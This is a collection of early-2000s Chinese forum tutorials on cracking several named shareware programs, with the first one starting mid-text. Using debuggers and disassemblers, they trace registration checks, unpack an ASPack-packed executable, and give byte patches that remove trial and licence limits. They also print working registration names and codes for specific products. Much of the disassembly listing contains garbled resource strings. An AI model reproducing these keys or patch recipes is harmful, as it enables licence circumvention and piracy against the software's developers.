0167:00403FBB CMP EAX,EDX
0167:00403FBD JZ NEAR 00404052
0167:00403FC3 TEST ESI,ESI
0167:00403FC5 JZ 0040402F
0167:00403FC7 TEST EDI,EDI
0167:00403FC9 JZ 00404036
0167:00403FCB MOV EAX,[ESI-04]
0167:00403FCE MOV EDX,[EDI-04]
0167:00403FD1 SUB EAX,EDX

下命令：bc * 清除断点 按F5反回程序，输入用户名：crackYY 注册号：350512 ，点击确定。怎么回事儿？还是注册不成功？难到这个不是注册码？呵呵，这点小计量就想击退我？嗯…想一想，还有哪儿可疑。哦，对了，可以到出错的call里看看。说干就干，Ctrl+N呼出TRW，下断点：bpx 004b607d ，接F5反回，点确定按钮，TRW弹出，光标停在004B607D处。接看按F8跟进，看到如下代码：

0167:00453076 MOV EAX,EAX
0167:00453078 PUSH EBP—————————在这里下命令:d ecx会看到刚才的那组数字和一组字母：liyy
0167:00453079 MOV EBP,ESP
0167:0045307B ADD ESP,BYTE -50
0167:0045307E PUSH EBX
0167:0045307F PUSH ESI
0167:00453080 PUSH EDI
0167:00453081 MOV EDI,ECX
0167:00453083 MOV ESI,EDX
0167:00453085 MOV [EBP-04],EAX
0167:00453088 MOV EBX,[EBP+08]
0167:0045308B CALL `USER32!GetActiveWindow`
0167:00453090 MOV [EBP-0C],EAX
0167:00453093 PUSH BYTE +02
0167:00453095 MOV EAX,[EBP-0C]

这回看到的还是刚才的那组数字，不过多了一组英文字母(liyy)，这个会不会是用户名呢？不管那么多啦，记下字母，按F5返回电子小说阅读器，用户名添上：liyy 注册码：350512 ，点击确定。"恭喜您，注册成功！您以成为本程序的正式用户…………"。哈哈，我爽!

好啦，结束战斗！啊，2点多啦，好困呀。

crackYY[CNCG]
E-mail:crackYY@hotmail.com

写的不好，请多指教！


风之纹章 v2.02

 标 题:风之纹章（Proc）破解实战 我的第一篇水文 (9千字)
发信人:wakeme
时 间:2002-3-12 21:47:16
详细信息:
风之纹章（Proc）破解实战

Write by wakeme

软件名称：风之纹章（Proc）
版 本：V2.02 Build 275 原文件大小 281K，脱壳后700K左右。
简 介：
一个比较好用的小工具，可以用来杀进程、监控程序、定时备份等，驻留在任务栏上。

作 者：Wakeme
等 级：中级 （自己定的 ：））
破解日期：2002年3月11日
破解工具：Trw2000 1.22 WDSM 89。3 冲击波2000 、PEid.
破解目的：学习追注册码

说 明：

本文目的在与学习破解技术，所有内容是在我的软件破解记录上整理出来的，只作技术交流。如若有纰漏，请各位多指教！

1、运行PEid ，将Proc.exe 拖到 PEid界面上 ，显示出 ASPack 2.000 -> Alexey Solodovnikov压缩。

2、启用冲击波，点击Track ，然后运行Proc.exe，显示入口 0048B900 。

3、启动trw 2000 ，通过Browse 找到文件，load ！
中断后下命令bpx 48b900
g
会在程序的入口处停下来，然后下命令 pedump c:\crack\procdump.exe
就会生成可执行文件，经测试用makepe 命令也可以，另外用Softice 中的jmp eip ，然后用prodump等工具也可以。Trw2000中生成的可以直接运行，用prodump抓的需要修复PE文件头。

4、执行软件，填入任意注册码，报告“注册失败”，在看论坛精华的时候总发现别人喜欢暴力破解软件，其实在我这段时间的经验中，软件暴力破解的成功率很低，许多软件暴力破解后，功能也不完全，可见软件开发者的加密意识提高了。

5、拷贝备份后，用WDSM进行反汇编，在字符串参考中，找到“注册失败”和“注册成功”的提示。双击“注册成功”和“注册失败”分别到：

:0048AF28 8B45F8 mov eax, dword ptr [ebp-08]
:0048AF2B 8D55FC lea edx, dword ptr [ebp-04]
:0048AF2E E831D5F7FF call 00408464
:0048AF33 8B45FC mov eax, dword ptr [ebp-04]

* Possible StringData Ref from Code Obj ->"ph11.126.com"
|
:0048AF36 BA48B04800 mov edx, 0048B048
:0048AF3B E8B88FF7FF call 00403EF8
:0048AF40 7575 jne 0048AFB7 跳到注册失败的窗口 ！！！
:0048AF42 8D55F0 lea edx, dword ptr [ebp-10]
:0048AF45 8B83D0040000 mov eax, dword ptr [ebx+000004D0]
:0048AF4B E8845CFAFF call 00430BD4
:0048AF50 8B45F0 mov eax, dword ptr [ebp-10]
:0048AF53 8D55F4 lea edx, dword ptr [ebp-0C]
:0048AF56 E809D5F7FF call 00408464
:0048AF5B 8B45F4 mov eax, dword ptr [ebp-0C]

* Possible StringData Ref from Code Obj ->"1111-1111-1111-1111" 我最初理解为注册码的格式！
|
:0048AF5E BA60B04800 mov edx, 0048B060
:0048AF63 E8908FF7FF call 00403EF8
:0048AF68 754D jne 0048AFB7 跳到注册失败的窗口 ！！！

* Possible StringData Ref from Code Obj ->"进程管理小工具---ph11.126.com"
|
:0048AF6A BA7CB04800 mov edx, 0048B07C
:0048AF6F 8BC3 mov eax, ebx
:0048AF71 E88E5CFAFF call 00430C04
:0048AF76 33D2 xor edx, edx
:0048AF78 8B83CC040000 mov eax, dword ptr [ebx+000004CC]
:0048AF7E 8B08 mov ecx, dword ptr [eax]
:0048AF80 FF515C call [ecx+5C]
:0048AF83 33D2 xor edx, edx
:0048AF85 8B83D0040000 mov eax, dword ptr [ebx+000004D0]
:0048AF8B 8B08 mov ecx, dword ptr [eax]
:0048AF8D FF515C call [ecx+5C]
:0048AF90 6A40 push 00000040

* Possible StringData Ref from Code Obj ->"恭喜您"
|
:0048AF92 B99CB04800 mov ecx, 0048B09C

* Possible StringData Ref from Code Obj ->"注册成功!" 注意的地方 ！！！
|
:0048AF97 BAA4B04800 mov edx, 0048B0A4
:0048AF9C A14CDA4800 mov eax, dword ptr [0048DA4C]
:0048AFA1 8B00 mov eax, dword ptr [eax]
:0048AFA3 E8F440FCFF call 0044F09C
:0048AFA8 33D2 xor edx, edx
:0048AFAA 8B83D4040000 mov eax, dword ptr [ebx+000004D4]
:0048AFB0 8B08 mov ecx, dword ptr [eax]
:0048AFB2 FF515C call [ecx+5C]
:0048AFB5 EB4C jmp 0048B003

* 被一个无条件跳转或条件跳转引用, 位置在地址: 注意的地方 ！！！
|:0048AF40(C), :0048AF68(C) 这里是哪里 ，有两个地方会跳到这里 ！！！
|

* Possible StringData Ref from Code Obj ->"进程管理小工具---未注册"
|
:0048AFB7 BAB8B04800 mov edx, 0048B0B8
:0048AFBC 8BC3 mov eax, ebx
:0048AFBE E8415CFAFF call 00430C04
:0048AFC3 B201 mov dl, 01
:0048AFC5 8B83CC040000 mov eax, dword ptr [ebx+000004CC]
:0048AFCB 8B08 mov ecx, dword ptr [eax]
:0048AFCD FF515C call [ecx+5C]
:0048AFD0 B201 mov dl, 01
:0048AFD2 8B83D0040000 mov eax, dword ptr [ebx+000004D0]
:0048AFD8 8B08 mov ecx, dword ptr [eax]
:0048AFDA FF515C call [ecx+5C]
:0048AFDD 6A10 push 00000010

* Possible StringData Ref from Code Obj ->"错误"
|
:0048AFDF B9D0B04800 mov ecx, 0048B0D0

* Possible StringData Ref from Code Obj ->"注册失败!" 注意的地方 ！！！
|
:0048AFE4 BAD8B04800 mov edx, 0048B0D8
:0048AFE9 A14CDA4800 mov eax, dword ptr [0048DA4C]
:0048AFEE 8B00 mov eax, dword ptr [eax]
:0048AFF0 E8A740FCFF call 0044F09C
:0048AFF5 8B83CC040000 mov eax, dword ptr [ebx+000004CC]
:0048AFFB 8B10 mov edx, dword ptr [eax]
:0048AFFD FF92B0000000 call dword ptr [edx+000000B0]

6、下面我们就用TRW2000来追注册码：
在软件的设置-注册中添入公司名：wakeme 序列号：1234-1234-1234-1234（格式来源与上面代码，其实别的格式、比如12345678也可以）
在TRW2000中下断点bpx 40af36 （第一个要跳到未注册的CALL前面）
软件中点注册、被拦截F10后

D edx 可以看到真正的注册码，我们F8跟进CALL

:00403EF8 53 push ebx
:00403EF9 56 push esi
:00403EFA 57 push edi
:00403EFB 89C6 mov esi, eax
:00403EFD 89D7 mov edi, edx
:00403EFF 39D0 cmp eax, edx 上面将我输入的名字和序列号装入，这里关键比较，用D命令可以看到真正的注册名
:00403F01 0F848F000000 je 00403F96
:00403F07 85F6 test esi, esi
:00403F09 7468 je 00403F73
:00403F0B 85FF test edi, edi
:00403F0D 746B je 00403F7A
:00403F0F 8B46FC mov eax, dword ptr [esi-04]
:00403F12 8B57FC mov edx, dword ptr [edi-04]
:00403F15 29D0 sub eax, edx
:00403F17 7702 ja 00403F1B
:00403F19 01C2 add edx, eax

CALL 返回后执行到这里：
:0048AF3B E8B88FF7FF call 00403EF8
:0048AF40 7575 jne 0048AFB7 跳到注册失败的窗口 ！！！
:0048AF42 8D55F0 lea edx, dword ptr [ebp-10]
:0048AF45 8B83D0040000 mov eax, dword ptr [ebx+000004D0]
在JNE 0048AFB7，我们下r fl z 让程序继续走到第二个比较的地方
:0048AF5E BA60B04800 mov edx, 0048B060
:0048AF63 E8908FF7FF call 00403EF8
:0048AF68 754D jne 0048AFB7 跳到注册失败的窗口 ！！！

在上面D EDX 可以看到正确注册码，我们F8跟入CALL 看看都有什么

:00403EF8 53 push ebx
:00403EF9 56 push esi
:00403EFA 57 push edi
:00403EFB 89C6 mov esi, eax
:00403EFD 89D7 mov edi, edx
:00403EFF 39D0 cmp eax, edx上面将我输入的名字和序列号装入，这里关键比较，用D命令可以看到真正的注册号码

:00403F01 0F848F000000 je 00403F96
:00403F07 85F6 test esi, esi
:00403F09 7468 je 00403F73
:00403F0B 85FF test edi, edi
:00403F0D 746B je 00403F7A
:00403F0F 8B46FC mov eax, dword ptr [esi-04]
:00403F12 8B57FC mov edx, dword ptr [edi-04]
:00403F15 29D0 sub eax, edx
:00403F17 7702 ja 00403F1B
:00403F19 01C2 add edx, eax

跟上面的一样，呵呵，原来这个软件的注册名和号码是固定的：
公司名 ：ph11.126.com
注册号码：1111-1111-1111-1111

在软件的相同目录下，filemon 监测到 proc.ini 文件，其中有
[Registration]
Company=ph11.126.com
SequenceNum=1111-1111-1111-1111
项目，当该键被删除软件又被回复未注册版，该软件启动检查该项目，而爆破完后写入该项目的注册码不对，重起软件就无效了。

呵呵，作者真会和我们开玩笑 ：）

区区一文，实在没什么水平，不过还是要感谢ajj.126.com 的站长，在我初学破解的这半个月中，我的几个问题他都尽力回答，让我很感动。
还有要感谢看雪老师的那本书，虽然5天就看完了，但的确是本好书，有些东西还需要我细心的体会。

这个世界上不存在什么天才，如果你觉得我是，就想想我那5天看书，看汇编的疯狂劲，就不会说天才这两个字字了，到目前位置，我最爱的破解是破那些CRACKME ，很有意思，光盘上的哪些CRACKME，我是这样破解的，先是全部暴力破解，后来又全部追出注册码，现在我已经写出部分的注册机了，还有通过keymake 的另外注册机显示注册码的。

过程就是先用WDSM 破个遍、在用SMARTCHECK来作VB的、用DEDE找DELPHI 的，用OLLDY破任何能跟踪的。。。

最后的感觉就是TR 还不如Softice，我们是在技巧上作文章，人家却主导了方向。

呵呵，希望TR的作者能看到


古今大战80

 标 题:古今大战80分破解 (2千字)
发信人:xcdm
时 间:2002-3-13 11:29:32
详细信息:
古今大战80分破解：
作者：王静
下载地址：http://www.wj2000.50megs.com
破解工具：softice
输入：
序列号：123456
注册码：78787878
用bpx hmemcpy作断点，中断后清除断点，再按12次F12，就到下面：
:004557BD E8B690FCFF call 0041E878
:004557C2 8B45F8 mov eax, dword ptr [ebp-08] //来到这里
:004557C5 E8B218FBFF call 0040707C
:004557CA 8BD8 mov ebx, eax
:004557CC 33C0 xor eax, eax
:004557CE 5A pop edx
:004557CF 59 pop ecx
:004557D0 59 pop ecx
:004557D1 648910 mov dword ptr fs:[eax], edx
:004557D4 EB14 jmp 004557EA
:004557D6 E961DBFAFF jmp 0040333C
:004557DB E800DEFAFF call 004035E0
:004557E0 E9AB000000 jmp 00455890
:004557E5 E8F6DDFAFF call 004035E0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004557D4(U)
|
:004557EA 81FB48890100 cmp ebx, 00018948
:004557F0 7C14 jl 00455806
:004557F2 81FB52890100 cmp ebx, 00018952
:004557F8 7F0C jg 00455806
:004557FA 8D55FC lea edx, dword ptr [ebp-04]
:004557FD 8BC3 mov eax, ebx
:004557FF E890FBFFFF call 00455394
:00455804 EB0A jmp 00455810

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004557F0(C), :004557F8(C)
|
:00455806 8D55FC lea edx, dword ptr [ebp-04]
:00455809 8BC3 mov eax, ebx
:0045580B E804FCFFFF call 00455414

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00455804(U)
|
:00455810 8D55F8 lea edx, dword ptr [ebp-08]
:00455813 8B86F0010000 mov eax, dword ptr [esi+000001F0]
:00455819 E85A90FCFF call 0041E878
:0045581E 8B45F8 mov eax, dword ptr [ebp-08]
:00455821 8B55FC mov edx, dword ptr [ebp-04]
:00455824 E87BE6FAFF call 00403EA4 //关键的call追入
:00455829 7554 jne 0045587F
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00455824(U)
|
00403EA4 push ebx
00403EA5 push esi
00403EA6 push edi
00403EA7 mov esi,eax
00403EA9 mov edi,edx
00403EAB cmp eax,edx //下d eax 可以看到假注册码：78787878 下d edx 可以看到真的注册码:QGBOFWCUOEERC
00403EAD jz 00403F42
（文：zhaocuo）
欢迎光临我的破解小站：网游世界
http://59596.126.com
E-mail:xcdm@163.com
我的QQ : 44357921　（不是破解爱好者不要 Q 我哦！）


黑马课表管理系统2.6

 标 题:黑马课表管理系统2.6注册破解 (1千字)
发信人:esoft2001.51.net
时 间:2002-1-12 21:28:10
详细信息:
软件：黑马课表管理系统
版本：2.6
下载：http://www.soft-sky.com/download/znpk.zip
大小：4854k
保护：易
介绍：利用计算机进行课程表编排，功能强大。

工具：Trw2000

运行“黑马课表管理系统”软件，一开始便要求注册。

学校名称：Http://esoft2001.51.net
注 册 码：9876543210

Ctrl-n，下命令bpx hmemcpy，F5返回，按“开始注册”按钮，Trw2000拦下。
下bc *命令
再下Pmodule命令，程序回来在下面一行
:0041F526 8D4C240C lea ecx, dword ptr [esp+0C]
从这里开始一直按F10，不久会来到下面
:0041F570 E8FB000000 call 0041F670
:0041F575 8B4C2414 mov ecx, dword ptr [esp+14]（D ecx 看到错误注册码）
:0041F579 8B00 mov eax, dword ptr [eax]（D eax看到正确注册码）
:0041F57B 51 push ecx
:0041F57C 50 push eax

* Reference To: MSVCRT._mbscmp, Ord:0159h
|
:0041F57D FF150C284500 Call dword ptr [0045280C]
:0041F583 83C410 add esp, 00000010
:0041F586 8D4C2410 lea ecx, dword ptr [esp+10]
:0041F58A 85C0 test eax, eax
:0041F58C 0F95C3 setne bl

* Reference To: MFC42.Ordinal:0320, Ord:0320h
|
:0041F58F E8C48C0200 Call 00448258
:0041F594 84DB test bl, bl
:0041F596 7412 je 0041F5AA
:0041F598 6A00 push 00000000
:0041F59A 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"注册码有错！"
|
:0041F59C 6818304600 push 00463018
:0041F5A1 8BCE mov ecx, esi

* Reference To: MFC42.Ordinal:1080, Ord:1080h
|
:0041F5A3 E88A8E0200 Call 00448432
:0041F5A8 EB51 jmp 0041F5FB

整理以一下：

黑马课表管理系统2.6
学校名称：Http://esoft2001.51.net
注 册 码:4044-5612-1713-629


花猫时间精灵 v1.0

 标 题:两种破解 花猫时间精灵 v1.0 功能限制的方法，本人献给破解初学者的第一篇破文！高手请匆入内~~ (24千字)
发信人:飞鹰[BCG]
时 间:2001-10-26 20:50:25
详细信息:
           两种破解 花猫时间精灵 v1.0 功能限制的方法

软件名称：花猫时间精灵 V1.0
软件简介：本软件具有万年历、定时关机、定时提醒、网上校正时间、关闭网络计算机、立即关机、立即重启、立即注销(重新登录)等功能，还能对软件本身的文字颜色、字体、背景颜色进行设置，实现了软件DIY。
破解工具：TRW2000 1.22汉化版、W32DASM 8.93汉化版、FI 2.5、Hiew6.76。
破解人：飞鹰[BCG]
E-mail：flithawk@263.net
网址：http://flithawk.longcity.net

一、爆力破解：

1、去掉软件的未注册提示信息和时间限制：

首先，用 exescope 查找这些限制的提示信息，找到如下的字符及对应的ID号：

200,对不起 ！您所使用的软件已经超过了 15 天的试用期，有些功能将不能使用。$0A$0A如果您想继续使用本软件的全部功能，请进入关于对话框进行注册，在您注册后将可以重新使用全部功能。
201,您使用的软件未经注册 ！$0A$0A未注册的软件只有 15 天的试用期，在试用期过后，您将不能正常使用此软件 ！$0A$0A如果您想注册软件，请进入关于对话框进行注册。
202,未注册的软件

在这里我们知道ID号为 200 是软件过期提示信息，201与202 是软件未注册提示信息。在 W32DASM 反汇编该软件，并分别在 W32DASM 中找到与这些字符串ID号对应在位置，如下所示：

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040107B(U), :00401215(U)
|
:00401221 833D28D6410000 cmp dword ptr [0041D628], 00000000==>判断是否已注册，0 表示未注册，1 表示已注册
:00401228 0F85DD010000 jne 0040140B==>跳转则表示软件已注册
:0040122E E8CFEB0000 call 0040FE02
:00401233 898564FBFFFF mov dword ptr [ebp+FFFFFB64], eax
:00401239 8B9564FBFFFF mov edx, dword ptr [ebp+FFFFFB64]
:0040123F 899558FBFFFF mov dword ptr [ebp+FFFFFB58], edx
:00401245 83BD58FBFFFF00 cmp dword ptr [ebp+FFFFFB58], 00000000
:0040124C 741B je 00401269==>跳转则显示过期提示信息
:0040124E 83BD58FBFFFF01 cmp dword ptr [ebp+FFFFFB58], 00000001
:00401255 7474 je 004012CB==>跳转则显示未注册提示信息
:00401257 83BD58FBFFFF02 cmp dword ptr [ebp+FFFFFB58], 00000002
:0040125E 0F8409010000 je 0040136D==>跳转则显示未注册提示信息
:00401264 E9A0010000 jmp 00401409

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040124C(C)
|
:00401269 C7052CD6410000000000 mov dword ptr [0041D62C], 00000000
:00401273 6804010000 push 00000104
:00401278 8D8568FBFFFF lea eax, dword ptr [ebp+FFFFFB68]
:0040127E 50 push eax

* Possible Reference to String Resource ID=00200: "w ˊ(勥鲵搮N?15 )刦( 洘??(倻|?(,喏刪锜??e"==>软件过期提示信息
|
:0040127F 68C8000000 push 000000C8
:00401284 8B0D48D64100 mov ecx, dword ptr [0041D648]
:0040128A 51 push ecx

* Reference To: USER32.LoadStringA, Ord:0000h
|
:0040128B FF1520624100 Call dword ptr [00416220]
:00401291 6804010000 push 00000104
:00401296 8D957CFCFFFF lea edx, dword ptr [ebp+FFFFFC7C]
:0040129C 52 push edx

* Possible Reference to String Resource ID=00202: "*鑺勥?
|
:0040129D 68CA000000 push 000000CA
:004012A2 A148D64100 mov eax, dword ptr [0041D648]
:004012A7 50 push eax

* Reference To: USER32.LoadStringA, Ord:0000h
|
:004012A8 FF1520624100 Call dword ptr [00416220]

* Possible Reference to String Resource ID=00016: "\b ||"
|
:004012AE 6A10 push 00000010
:004012B0 8D8D7CFCFFFF lea ecx, dword ptr [ebp+FFFFFC7C]
:004012B6 51 push ecx
:004012B7 8D9568FBFFFF lea edx, dword ptr [ebp+FFFFFB68]
:004012BD 52 push edx
:004012BE 6A00 push 00000000

* Reference To: USER32.MessageBoxA, Ord:0000h
|
:004012C0 FF15E4614100 Call dword ptr [004161E4]
:004012C6 E93E010000 jmp 00401409

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401255(C)
|

* Possible Reference to String Resource ID=00001: " 廫b鱈 ? 髐2e<?B?n>2L-n"
|
:004012CB C7052CD6410001000000 mov dword ptr [0041D62C], 00000001
:004012D5 8D856CFCFFFF lea eax, dword ptr [ebp+FFFFFC6C]
:004012DB 50 push eax

* Reference To: KERNEL32.GetLocalTime, Ord:0000h
|
:004012DC FF1554614100 Call dword ptr [00416154]

* Possible Reference to String Resource ID=00001: " 廫b鱈 ? 髐2e<?B?n>2L-n"
|
:004012E2 6A01 push 00000001
:004012E4 83EC10 sub esp, 00000010
:004012E7 8BCC mov ecx, esp
:004012E9 8B956CFCFFFF mov edx, dword ptr [ebp+FFFFFC6C]
:004012EF 8911 mov dword ptr [ecx], edx
:004012F1 8B8570FCFFFF mov eax, dword ptr [ebp+FFFFFC70]
:004012F7 894104 mov dword ptr [ecx+04], eax
:004012FA 8B9574FCFFFF mov edx, dword ptr [ebp+FFFFFC74]
:00401300 895108 mov dword ptr [ecx+08], edx
:00401303 8B8578FCFFFF mov eax, dword ptr [ebp+FFFFFC78]
:00401309 89410C mov dword ptr [ecx+0C], eax
:0040130C E85CE40000 call 0040F76D
:00401311 83C414 add esp, 00000014
:00401314 6804010000 push 00000104
:00401319 8D8D68FBFFFF lea ecx, dword ptr [ebp+FFFFFB68]
:0040131F 51 push ecx

* Possible Reference to String Resource ID=00201: "?(勥?撹?*鑺勥鲫 15 )刦( (f(N ?齝8(d喏 倻|?==>软件未注册提示信息
|
:00401320 68C9000000 push 000000C9
:00401325 8B1548D64100 mov edx, dword ptr [0041D648]
:0040132B 52 push edx

* Reference To: USER32.LoadStringA, Ord:0000h
|
:0040132C FF1520624100 Call dword ptr [00416220]
:00401332 6804010000 push 00000104
:00401337 8D857CFCFFFF lea eax, dword ptr [ebp+FFFFFC7C]
:0040133D 50 push eax

* Possible Reference to String Resource ID=00202: "*鑺勥?==>软件未注册提示信息
|
:0040133E 68CA000000 push 000000CA
:00401343 8B0D48D64100 mov ecx, dword ptr [0041D648]
:00401349 51 push ecx

* Reference To: USER32.LoadStringA, Ord:0000h
|
:0040134A FF1520624100 Call dword ptr [00416220]

* Possible Reference to String Resource ID=00064: "yyyy t M "
|
:00401350 6A40 push 00000040
:00401352 8D957CFCFFFF lea edx, dword ptr [ebp+FFFFFC7C]
:00401358 52 push edx
:00401359 8D8568FBFFFF lea eax, dword ptr [ebp+FFFFFB68]
:0040135F 50 push eax
:00401360 6A00 push 00000000

* Reference To: USER32.MessageBoxA, Ord:0000h
|
:00401362 FF15E4614100 Call dword ptr [004161E4]
:00401368 E99C000000 jmp 00401409

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040125E(C)
|

* Possible Reference to String Resource ID=00001: " 廫b鱈 ? 髐2e<?B?n>2L-n"
|
:0040136D C7052CD6410001000000 mov dword ptr [0041D62C], 00000001
:00401377 8D8D6CFCFFFF lea ecx, dword ptr [ebp+FFFFFC6C]
:0040137D 51 push ecx

* Reference To: KERNEL32.GetLocalTime, Ord:0000h
|
:0040137E FF1554614100 Call dword ptr [00416154]
:00401384 6A00 push 00000000
:00401386 83EC10 sub esp, 00000010
:00401389 8BD4 mov edx, esp
:0040138B 8B856CFCFFFF mov eax, dword ptr [ebp+FFFFFC6C]
:00401391 8902 mov dword ptr [edx], eax
:00401393 8B8D70FCFFFF mov ecx, dword ptr [ebp+FFFFFC70]
:00401399 894A04 mov dword ptr [edx+04], ecx
:0040139C 8B8574FCFFFF mov eax, dword ptr [ebp+FFFFFC74]
:004013A2 894208 mov dword ptr [edx+08], eax
:004013A5 8B8D78FCFFFF mov ecx, dword ptr [ebp+FFFFFC78]
:004013AB 894A0C mov dword ptr [edx+0C], ecx
:004013AE E8BAE30000 call 0040F76D
:004013B3 83C414 add esp, 00000014
:004013B6 6804010000 push 00000104
:004013BB 8D9568FBFFFF lea edx, dword ptr [ebp+FFFFFB68]
:004013C1 52 push edx

* Possible Reference to String Resource ID=00201: "?(勥?撹?*鑺勥鲫 15 )刦( (f(N ?齝8(d喏 倻|?==>软件未注册提示信息
|
:004013C2 68C9000000 push 000000C9
:004013C7 A148D64100 mov eax, dword ptr [0041D648]
:004013CC 50 push eax

* Reference To: USER32.LoadStringA, Ord:0000h
|
:004013CD FF1520624100 Call dword ptr [00416220]
:004013D3 6804010000 push 00000104
:004013D8 8D8D7CFCFFFF lea ecx, dword ptr [ebp+FFFFFC7C]
:004013DE 51 push ecx

* Possible Reference to String Resource ID=00202: "*鑺勥?==>软件未注册提示信息
|
:004013DF 68CA000000 push 000000CA
:004013E4 8B1548D64100 mov edx, dword ptr [0041D648]
:004013EA 52 push edx

* Reference To: USER32.LoadStringA, Ord:0000h
|
:004013EB FF1520624100 Call dword ptr [00416220]

* Possible Reference to String Resource ID=00064: "yyyy t M "
|
:004013F1 6A40 push 00000040
:004013F3 8D857CFCFFFF lea eax, dword ptr [ebp+FFFFFC7C]
:004013F9 50 push eax
:004013FA 8D8D68FBFFFF lea ecx, dword ptr [ebp+FFFFFB68]
:00401400 51 push ecx
:00401401 6A00 push 00000000

* Reference To: USER32.MessageBoxA, Ord:0000h
|
:00401403 FF15E4614100 Call dword ptr [004161E4]

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00401264(U), :004012C6(U), :00401368(U)
|
:00401409 EB0A jmp 00401415

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401228(C)
|

* Possible Reference to String Resource ID=00001: " 廫b鱈 ? 髐2e<?B?n>2L-n"
|
:0040140B C7052CD6410001000000 mov dword ptr [0041D62C], 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401409(U)
|
:00401415 8B5508 mov edx, dword ptr [ebp+08]
:00401418 891548D64100 mov dword ptr [0041D648], edx

用 Hiew 把 00401221 处的 833D28D6410000 改为 833D28D6410001，就可以去掉去掉软件的未注册提示信息和时间限制。当然，如果你不怕改着麻烦的话，你也可以分别把 0040124C、00401255、0040125E 这三处的 741B、7474、0F8409010000 改为 751B、7574、0F8509010000，这种改法一样可以达到预期的目标，只是显的非常麻烦。

2、去掉软件“关于”对话框中的“软件未授权”字样：

首先，用 exescope 查找这些限制的提示信息，找到如下的字符及对应的ID号：

191,本产品使用权属于：$0D$0A%s$0D$0A序列号:%04x-%04x-%04x-%04x
192,您所使用的产品没有获得授权。$0D$0A如果您想获得授权，$0A请点击以下注册按钮进行注册。

在这里我们知道ID号为 191 是显示软件注册后的用户名和序列号，192 是显示软件未授权等字样。在 W32DASM 反汇编该软件，并分别在 W32DASM 中找到与这些字符串ID号对应在位置，如下所示：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00408816(C)
|
:00408928 833D28D6410000 cmp dword ptr [0041D628], 00000000
:0040892F 0F84B8000000 je 004089ED==>跳转则显示软件未授权等字样
:00408935 6804010000 push 00000104
:0040893A 8D85DCFDFFFF lea eax, dword ptr [ebp+FFFFFDDC]
:00408940 50 push eax

* Possible Reference to String Resource ID=00191: ","?(l?%s?_:%04x-%04x-%04x-%04x"==>显示软件注册后的用户名和序列号
|
:00408941 68BF000000 push 000000BF
:00408946 8B0D48D64100 mov ecx, dword ptr [0041D648]
:0040894C 51 push ecx

* Reference To: USER32.LoadStringA, Ord:0000h
|
:0040894D FF1520624100 Call dword ptr [00416220]
:00408953 8D55F8 lea edx, dword ptr [ebp-08]
:00408956 52 push edx
:00408957 8D85F4FEFFFF lea eax, dword ptr [ebp+FFFFFEF4]
:0040895D 50 push eax

* Reference To: KERNEL32.GetComputerNameA, Ord:0000h
|
:0040895E FF15BC604100 Call dword ptr [004160BC]
:00408964 E82C510000 call 0040DA95
:00408969 89859CFCFFFF mov dword ptr [ebp+FFFFFC9C], eax
:0040896F 8995A0FCFFFF mov dword ptr [ebp+FFFFFCA0], edx
:00408975 8B8D9CFCFFFF mov ecx, dword ptr [ebp+FFFFFC9C]
:0040897B 898DA4FCFFFF mov dword ptr [ebp+FFFFFCA4], ecx
:00408981 8B95A0FCFFFF mov edx, dword ptr [ebp+FFFFFCA0]
:00408987 8995A8FCFFFF mov dword ptr [ebp+FFFFFCA8], edx
:0040898D 8B85AAFCFFFF mov eax, dword ptr [ebp+FFFFFCAA]
:00408993 25FFFF0000 and eax, 0000FFFF
:00408998 50 push eax
:00408999 8B8DA8FCFFFF mov ecx, dword ptr [ebp+FFFFFCA8]
:0040899F 81E1FFFF0000 and ecx, 0000FFFF
:004089A5 51 push ecx
:004089A6 8B95A6FCFFFF mov edx, dword ptr [ebp+FFFFFCA6]
:004089AC 81E2FFFF0000 and edx, 0000FFFF
:004089B2 52 push edx
:004089B3 8B85A4FCFFFF mov eax, dword ptr [ebp+FFFFFCA4]
:004089B9 25FFFF0000 and eax, 0000FFFF
:004089BE 50 push eax
:004089BF 8D8DF4FEFFFF lea ecx, dword ptr [ebp+FFFFFEF4]
:004089C5 51 push ecx
:004089C6 8D95DCFDFFFF lea edx, dword ptr [ebp+FFFFFDDC]
:004089CC 52 push edx
:004089CD 8D85B8FCFFFF lea eax, dword ptr [ebp+FFFFFCB8]
:004089D3 50 push eax
:004089D4 E8367E0000 call 0041080F
:004089D9 83C41C add esp, 0000001C
:004089DC 8D8DB8FCFFFF lea ecx, dword ptr [ebp+FFFFFCB8]
:004089E2 51 push ecx
:004089E3 E8FEC50000 call 00414FE6
:004089E8 83C404 add esp, 00000004
:004089EB EB1D jmp 00408A0A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040892F(C)
|
:004089ED 6804010000 push 00000104
:004089F2 8D95B8FCFFFF lea edx, dword ptr [ebp+FFFFFCB8]
:004089F8 52 push edx

* Possible Reference to String Resource ID=00192: "ˊ(?翏 r棃倻r棃 藊清 鑺 2L鑺"==>显示软件未授权等字样
|
:004089F9 68C0000000 push 000000C0
:004089FE A148D64100 mov eax, dword ptr [0041D648]
:00408A03 50 push eax

用 Hiew 把 00408928 处的 833D28D6410000 改为 833D28D6410001，就可以去掉软件“关于”对话框中的“软件未授权”字样，显示软件注册后的用户名和序列号。
二、追出注册码：

首先，用 exescope 查找注册成功和注册失败等提示信息，可找到如下的字符及对应的ID号：

198,您所输入的序列号不正确，请重新输入正确的序列号！
199,注册成功 ！

在这里我们知道ID号为 198 是注册错误提示信息，199 是注册成功提示信息。在 W32DASM 反汇编该软件，并分别在 W32DASM 中找到与这些字符串ID号对应在位置，如下所示：

* Possible StringData Ref from Data Obj ->"%02x%02x%02x%02x%02x%02x%02x%02x"
|
:0040E7DD 68AC9E4100 push 00419EAC
:0040E7E2 8D8DF8FEFFFF lea ecx, dword ptr [ebp+FFFFFEF8]
:0040E7E8 51 push ecx
